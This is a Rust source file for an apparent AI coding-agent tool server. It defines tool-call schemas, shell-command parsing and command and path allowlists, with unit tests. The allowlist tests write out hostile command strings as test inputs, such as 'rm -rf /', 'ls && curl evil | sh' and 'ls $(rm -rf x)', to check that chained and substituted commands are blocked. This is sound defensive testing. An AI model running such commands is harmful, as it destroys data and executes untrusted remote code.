1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6 if filtered.is_empty() || filtered == thread_id {
12 filtered
13 } else {
14 format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15 }
16}
17
18#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25 #[serde(default)]
28 pub busy: Vec<String>,
29 #[serde(default)]
31 pub awaiting_input: Vec<String>,
32 #[serde(default)]
35 pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39 pub fn is_empty(&self) -> bool {
41 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42 }
43}
44
45fn fnv1a_32(s: &str) -> u32 {
49 let mut hash: u32 = 0x811c_9dc5;
50 for byte in s.bytes() {
51 hash ^= u32::from(byte);
52 hash = hash.wrapping_mul(0x0100_0193);
53 }
54 hash
55}
56
57#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64 FirstCall,
69
70 UserAskedModeChange,
75
76 ResetShell,
81
82 UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91 Wcgw,
92 Architect,
93 CodeWriter,
94}
95
96impl Serialize for ModeName {
98 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99 where
100 S: serde::Serializer,
101 {
102 match self {
103 ModeName::Wcgw => serializer.serialize_str("wcgw"),
104 ModeName::Architect => serializer.serialize_str("architect"),
105 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106 }
107 }
108}
109
110impl<'de> Deserialize<'de> for ModeName {
112 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113 where
114 D: serde::Deserializer<'de>,
115 {
116 let s = String::deserialize(deserializer)?;
117 match s.as_str() {
118 "wcgw" => Ok(ModeName::Wcgw),
119 "architect" => Ok(ModeName::Architect),
120 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122 }
123 }
124}
125
126impl JsonSchema for ModeName {
128 fn schema_name() -> std::borrow::Cow<'static, str> {
129 "ModeName".into()
130 }
131
132 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
133 schemars::Schema::new_ref("#/definitions/ModeName".to_string())
134 }
135}
136
137#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
138pub struct CodeWriterConfig {
139 #[serde(default)]
140 pub allowed_globs: AllowedGlobs,
141 #[serde(default)]
142 pub allowed_commands: AllowedCommands,
143}
144
145impl CodeWriterConfig {
146 pub fn update_relative_globs(&mut self, workspace_root: &str) {
147 if let AllowedGlobs::List(globs) = &self.allowed_globs {
149 let updated_globs = globs
150 .iter()
151 .map(|glob| {
152 if std::path::Path::new(glob).is_absolute() {
153 glob.clone()
154 } else {
155 format!("{workspace_root}/{glob}")
156 }
157 })
158 .collect();
159
160 self.allowed_globs = AllowedGlobs::List(updated_globs);
161 }
162 }
163}
164
165#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
166#[serde(untagged)]
167pub enum AllowedGlobs {
168 All(String),
169 List(Vec<String>),
170}
171
172impl Default for AllowedGlobs {
173 fn default() -> Self {
174 AllowedGlobs::All("all".to_string())
175 }
176}
177
178impl AllowedGlobs {
179 pub fn normalize(&mut self) {
182 if let AllowedGlobs::List(items) = self {
183 if items.len() == 1 && items[0] == "all" {
184 *self = AllowedGlobs::All("all".to_string());
185 }
186 }
187 }
188
189 #[allow(dead_code)]
190 pub fn is_allowed(&self, path: &str) -> bool {
191 match self {
192 AllowedGlobs::All(s) if s == "all" => true,
193 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
194 Ok(pattern) => pattern.matches(path),
195 Err(_) => false,
196 }),
197 AllowedGlobs::All(_) => false,
198 }
199 }
200}
201
202#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
203#[serde(untagged)]
204pub enum AllowedCommands {
205 All(String),
206 List(Vec<String>),
207}
208
209impl Default for AllowedCommands {
210 fn default() -> Self {
211 AllowedCommands::All("all".to_string())
212 }
213}
214
215impl AllowedCommands {
216 pub fn normalize(&mut self) {
218 if let AllowedCommands::List(items) = self {
219 if items.len() == 1 && items[0] == "all" {
220 *self = AllowedCommands::All("all".to_string());
221 }
222 }
223 }
224
225 pub fn is_allowed(&self, command_line: &str) -> bool {
226 match self {
227 AllowedCommands::All(s) if s == "all" => true,
228 AllowedCommands::All(_) => false,
229 AllowedCommands::List(commands) => {
230 match crate::utils::bash_parser::extract_command_texts(command_line) {
236 Ok(cmds) if !cmds.is_empty() => cmds
237 .iter()
238 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
239 _ => false,
240 }
241 }
242 }
243 }
244}
245
246fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
250 let cmd = cmd.trim();
251 let allowed = allowed.trim();
252 if allowed.is_empty() {
253 return false;
254 }
255 cmd == allowed
256 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
257}
258
259#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
264pub struct Initialize {
265 #[serde(rename = "type")]
272 #[serde(default = "default_init_type")]
273 pub init_type: InitializeType,
274
275 pub any_workspace_path: String,
282
283 #[serde(default)]
288 pub initial_files_to_read: Vec<String>,
289
290 #[serde(default = "String::new")]
295 #[serde(deserialize_with = "deserialize_string_or_null")]
296 pub task_id_to_resume: String,
297
298 #[serde(default = "default_mode_name")]
304 pub mode_name: ModeName,
305
306 #[serde(default)]
311 #[serde(deserialize_with = "deserialize_string_or_null")]
312 pub thread_id: String,
313
314 #[serde(default)]
319 #[serde(deserialize_with = "deserialize_code_writer_config")]
320 pub code_writer_config: Option<CodeWriterConfig>,
321}
322
323fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
325where
326 D: serde::Deserializer<'de>,
327{
328 let result = serde_json::Value::deserialize(deserializer)?;
330
331 match result {
332 serde_json::Value::Null => Ok(String::new()),
334 serde_json::Value::String(s) => {
336 if s == "null" {
338 Ok(String::new())
339 } else {
340 Ok(s)
341 }
342 }
343 _ => match serde_json::to_string(&result) {
345 Ok(s) => Ok(s),
346 Err(_) => Ok(String::new()),
347 },
348 }
349}
350
351fn deserialize_code_writer_config<'de, D>(
353 deserializer: D,
354) -> Result<Option<CodeWriterConfig>, D::Error>
355where
356 D: serde::Deserializer<'de>,
357{
358 let value = serde_json::Value::deserialize(deserializer)?;
360
361 match value {
362 serde_json::Value::Null => Ok(None),
364 serde_json::Value::String(s) if s == "null" => Ok(None),
365 _ => {
367 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
368 Ok(config) => {
369 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
370 Ok(Some(config))
371 }
372 Err(e) => {
373 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
375 Ok(None) }
377 }
378 }
379 }
380}
381
382fn default_mode_name() -> ModeName {
384 ModeName::Wcgw
385}
386
387fn default_init_type() -> InitializeType {
389 InitializeType::FirstCall
390}
391
392#[derive(Debug, Clone, Copy, PartialEq)]
394pub enum Modes {
395 Wcgw,
396 Architect,
397 CodeWriter,
398}
399
400impl std::fmt::Display for Modes {
401 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
402 match self {
403 Modes::Wcgw => write!(f, "wcgw"),
404 Modes::Architect => write!(f, "architect"),
405 Modes::CodeWriter => write!(f, "code_writer"),
406 }
407 }
408}
409
410impl JsonSchema for Modes {
412 fn schema_name() -> std::borrow::Cow<'static, str> {
413 "Modes".into()
414 }
415
416 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
417 schemars::Schema::new_ref("#/definitions/Modes".to_string())
418 }
419}
420
421#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
424pub enum SpecialKey {
425 Enter,
426 #[serde(rename = "Key-up")]
427 KeyUp,
428 #[serde(rename = "Key-down")]
429 KeyDown,
430 #[serde(rename = "Key-left")]
431 KeyLeft,
432 #[serde(rename = "Key-right")]
433 KeyRight,
434 #[serde(rename = "Ctrl-c")]
435 CtrlC,
436 #[serde(rename = "Ctrl-d")]
437 CtrlD,
438 #[serde(rename = "Ctrl-z")]
439 CtrlZ,
440}
441
442#[derive(Debug, Clone, Serialize, JsonSchema)]
447pub struct ReadFiles {
448 pub file_paths: Vec<String>,
452
453 #[serde(default)]
456 pub thread_id: String,
457
458 #[serde(skip)]
460 #[schemars(skip)]
461 pub start_line_nums: Vec<Option<usize>>,
462
463 #[serde(skip)]
464 #[schemars(skip)]
465 pub end_line_nums: Vec<Option<usize>>,
466}
467
468impl<'de> Deserialize<'de> for ReadFiles {
470 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
471 where
472 D: serde::Deserializer<'de>,
473 {
474 #[derive(Deserialize)]
475 struct ReadFilesHelper {
476 file_paths: Option<Vec<String>>,
477 #[serde(default)]
478 thread_id: Option<String>,
479 }
480
481 let input = serde_json::Value::deserialize(deserializer)?;
482
483 if !input.is_object() {
484 if input.is_null() {
485 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
486 }
487 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
488 }
489
490 let helper: ReadFilesHelper = serde_json::from_value(input)
491 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
492
493 let thread_id = helper.thread_id.unwrap_or_default();
494 let file_paths = match helper.file_paths {
495 Some(paths) if !paths.is_empty() => paths,
496 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
497 None => return Err(serde::de::Error::custom("file_paths is required.")),
498 };
499
500 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
502 let mut start_line_nums = Vec::with_capacity(file_paths.len());
503 let mut end_line_nums = Vec::with_capacity(file_paths.len());
504
505 for path in file_paths {
506 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
507 clean_file_paths.push(clean_path);
508 start_line_nums.push(start);
509 end_line_nums.push(end);
510 }
511
512 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
513 }
514}
515
516fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
517 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
518 return (path.to_string(), None, None);
519 };
520
521 let Some((start, end)) = parse_line_spec(line_spec) else {
522 return (path.to_string(), None, None);
523 };
524
525 (potential_path.to_string(), start, end)
526}
527
528fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
529 if line_spec.chars().all(|c| c.is_ascii_digit()) {
530 return line_spec.parse().ok().map(|line| (Some(line), None));
531 }
532
533 let (start, end) = line_spec.split_once('-')?;
534
535 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
536 return end.parse().ok().map(|line| (None, Some(line)));
537 }
538
539 if !start.is_empty()
540 && start.chars().all(|c| c.is_ascii_digit())
541 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
542 {
543 let start = start.parse().ok()?;
544 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
545 return Some((Some(start), end));
546 }
547
548 None
549}
550
551impl ReadFiles {
552 pub fn show_line_numbers(&self) -> bool {
554 true
555 }
556
557 pub fn get_clean_path(&self, index: usize) -> String {
559 parse_file_path_with_line_range(&self.file_paths[index]).0
560 }
561}
562
563fn default_true() -> bool {
565 true
566}
567
568#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
570#[serde(tag = "type", rename_all = "snake_case")]
571pub enum BashCommandAction {
572 Command {
574 command: String,
575 #[serde(default)]
576 is_background: bool,
577 #[serde(default)]
583 allow_multi: bool,
584 },
585
586 StatusCheck {
594 #[serde(default = "default_true")]
595 status_check: bool,
596 bg_command_id: Option<String>,
597 #[serde(default)]
598 scrollback_lines: Option<usize>,
599 #[serde(default)]
600 verbose: bool,
601 },
602
603 SendText {
607 send_text: String,
608 bg_command_id: Option<String>,
609 #[serde(default)]
610 submit: bool,
611 },
612
613 SendSpecials {
616 send_specials: Vec<SpecialKey>,
617 bg_command_id: Option<String>,
618 #[serde(default)]
619 submit: bool,
620 },
621
622 SendAscii {
625 send_ascii: Vec<u8>,
626 bg_command_id: Option<String>,
627 #[serde(default)]
628 submit: bool,
629 },
630
631 Screen {
638 #[serde(default = "default_true")]
639 screen: bool,
640 bg_command_id: Option<String>,
641 #[serde(default)]
643 lines: Option<usize>,
644 #[serde(default)]
648 diff: bool,
649 },
650
651 WaitForTurn {
656 #[serde(default = "default_true")]
657 wait_for_turn: bool,
658 bg_command_id: Option<String>,
659 #[serde(default)]
662 recognizer: Option<String>,
663 #[serde(default)]
666 quiet_ms: Option<u64>,
667 #[serde(default)]
669 timeout_seconds: Option<f32>,
670 #[serde(default)]
672 lines: Option<usize>,
673 },
674}
675
676#[derive(Debug, Clone, Serialize, JsonSchema)]
678pub struct BashCommand {
679 pub action_json: BashCommandAction,
681
682 #[serde(default)]
684 #[serde(skip_serializing_if = "Option::is_none")]
685 pub wait_for_seconds: Option<f32>,
686
687 #[serde(default)]
689 pub thread_id: String,
690}
691
692impl<'de> Deserialize<'de> for BashCommand {
694 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
695 where
696 D: serde::Deserializer<'de>,
697 {
698 let input = serde_json::Value::deserialize(deserializer)?;
699 let serde_json::Value::Object(mut map) = input else {
700 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
701 };
702
703 let wait_for_seconds = map
704 .remove("wait_for_seconds")
705 .map(serde_json::from_value)
706 .transpose()
707 .map_err(serde::de::Error::custom)?;
708 let thread_id = map
709 .remove("thread_id")
710 .map(thread_id_from_value)
711 .transpose()
712 .map_err(serde::de::Error::custom)?
713 .unwrap_or_default();
714 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
715
716 let action_json = match action_json_value {
718 serde_json::Value::String(s) => {
719 let sanitized = s.replace('\n', " ");
722 match serde_json::from_str(&sanitized) {
723 Ok(json) => normalize_action_json(json),
724 Err(e) => {
725 tracing::warn!(
728 "Failed to parse action_json as JSON, trying fallback: {}",
729 e
730 );
731
732 if s.contains("command") && s.contains('{') && s.contains('}') {
734 tracing::debug!("JSON parse error on: {}", s);
738
739 let re_sanitized = s
741 .replace('\n', "\\n") .replace('\r', "\\r") .replace('\t', "\\t"); let re_sanitized = if !s.contains('"') && s.contains(':') {
747 tracing::debug!("Attempting to fix unquoted JSON keys/values");
749 re_sanitized
750 } else {
751 re_sanitized
752 };
753
754 match serde_json::from_str(&re_sanitized) {
755 Ok(json) => normalize_action_json(json),
756 Err(err) => {
757 tracing::error!("Secondary JSON parse error: {}", err);
759 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
762 }
763 }
764 } else {
765 tracing::info!("Treating as simple command: {}", s);
768 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
769 }
770 }
771 }
772 }
773 value => normalize_action_json(value),
776 };
777
778 let mut action: BashCommandAction =
780 serde_json::from_value(action_json.clone()).map_err(|e| {
781tracing::error!(
783 "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
784 e,
785 action_json
786);
787
788let err_str = e.to_string();
790if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
791 return serde::de::Error::custom(format!(
792 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
793 ));
794}
795
796serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
797 })?;
798
799 Ok(BashCommand {
801 action_json: action,
802 wait_for_seconds,
803 thread_id: normalize_thread_id(&thread_id),
804 })
805 }
806}
807
808fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
809 match value {
810 serde_json::Value::Null => Ok(String::new()),
811 serde_json::Value::String(value) => Ok(value),
812 other => Err(format!("thread_id must be a string or null, got {other}")),
813 }
814}
815
816fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
817 let serde_json::Value::Object(map) = &mut value else {
818 return value;
819 };
820
821 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
822 *command = sanitize_shell_string(command);
823 }
824
825 if map.contains_key("type") {
826 return value;
827 }
828
829 let inferred_type = if map.contains_key("command") {
830 Some("command")
831 } else if map.contains_key("status_check") {
832 Some("status_check")
833 } else if map.contains_key("send_text") {
834 Some("send_text")
835 } else if map.contains_key("send_specials") {
836 Some("send_specials")
837 } else if map.contains_key("send_ascii") {
838 Some("send_ascii")
839 } else if map.contains_key("screen") {
840 Some("screen")
841 } else if map.contains_key("wait_for_turn") {
842 Some("wait_for_turn")
843 } else {
844 None
845 };
846
847 if let Some(action_type) = inferred_type {
848 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
849 }
850
851 value
852}
853
854fn sanitize_shell_string(value: &str) -> String {
855 value.replace('\0', "\\x00")
856}
857
858#[derive(Debug, Clone, JsonSchema, PartialEq)]
860pub struct BashCommandMode {
861 pub bash_mode: BashMode,
862 pub allowed_commands: AllowedCommands,
863}
864
865#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
866pub enum BashMode {
867 NormalMode,
868 RestrictedMode,
869}
870
871#[derive(Debug, Clone, JsonSchema, PartialEq)]
873pub struct FileEditMode {
874 pub allowed_globs: AllowedGlobs,
875}
876
877#[derive(Debug, Clone, JsonSchema, PartialEq)]
879pub struct WriteIfEmptyMode {
880 pub allowed_globs: AllowedGlobs,
881}
882
883#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
888pub struct FileWriteOrEdit {
889 pub file_path: String,
893
894 pub percentage_to_change: u32,
899
900 pub text_or_search_replace_blocks: String,
913
914 pub thread_id: String,
916}
917
918#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
923pub struct ContextSave {
924 pub id: String,
929
930 pub project_root_path: String,
935
936 pub description: String,
941
942 pub relevant_file_globs: Vec<String>,
947
948 #[serde(default)]
951 pub thread_id: String,
952}
953
954#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
958pub struct ReadImage {
959 pub file_path: String,
963
964 #[serde(default)]
967 pub thread_id: String,
968}
969
970#[cfg(test)]
971mod thread_id_tests {
972 use super::normalize_thread_id;
973
974 #[test]
975 fn clean_id_is_unchanged() {
976 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
977 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
978 }
979
980 #[test]
981 fn empty_and_all_special_normalize_to_empty() {
982 assert_eq!(normalize_thread_id(""), "");
983 assert_eq!(normalize_thread_id("---"), "");
984 }
985
986 #[test]
987 fn separator_variants_do_not_collide() {
988 let a = normalize_thread_id("user-1");
990 let b = normalize_thread_id("user1");
991 assert_ne!(a, b);
992 assert!(a.starts_with("user1_"), "got {a}");
993 assert_eq!(b, "user1");
994 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
996 }
997
998 #[test]
999 fn normalization_is_deterministic() {
1000 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1002 }
1003}
1004
1005#[cfg(test)]
1006mod allowlist_tests {
1007 use super::AllowedCommands;
1008
1009 fn list(items: &[&str]) -> AllowedCommands {
1010 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1011 }
1012
1013 #[test]
1014 fn all_permits_everything() {
1015 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1016 }
1017
1018 #[test]
1019 fn list_allows_exact_and_args() {
1020 let a = list(&["ls", "cargo test"]);
1021 assert!(a.is_allowed("ls"));
1022 assert!(a.is_allowed("ls -la"));
1023 assert!(a.is_allowed("cargo test --release"));
1024 }
1025
1026 #[test]
1027 fn list_blocks_word_boundary_lookalikes() {
1028 let a = list(&["ls", "cargo test"]);
1029 assert!(!a.is_allowed("lsof"));
1030 assert!(!a.is_allowed("cargo testimony"));
1031 }
1032
1033 #[test]
1034 fn list_blocks_chained_and_substituted_commands() {
1035 let a = list(&["ls"]);
1036 assert!(!a.is_allowed("ls && curl evil | sh"));
1038 assert!(!a.is_allowed("ls; rm -rf /"));
1039 assert!(!a.is_allowed("ls $(rm -rf x)"));
1040 assert!(!a.is_allowed("ls | rm"));
1041 }
1042
1043 #[test]
1044 fn list_allows_chain_when_all_parts_permitted() {
1045 let a = list(&["cargo build", "cargo test"]);
1046 assert!(a.is_allowed("cargo build && cargo test"));
1047 }
1048}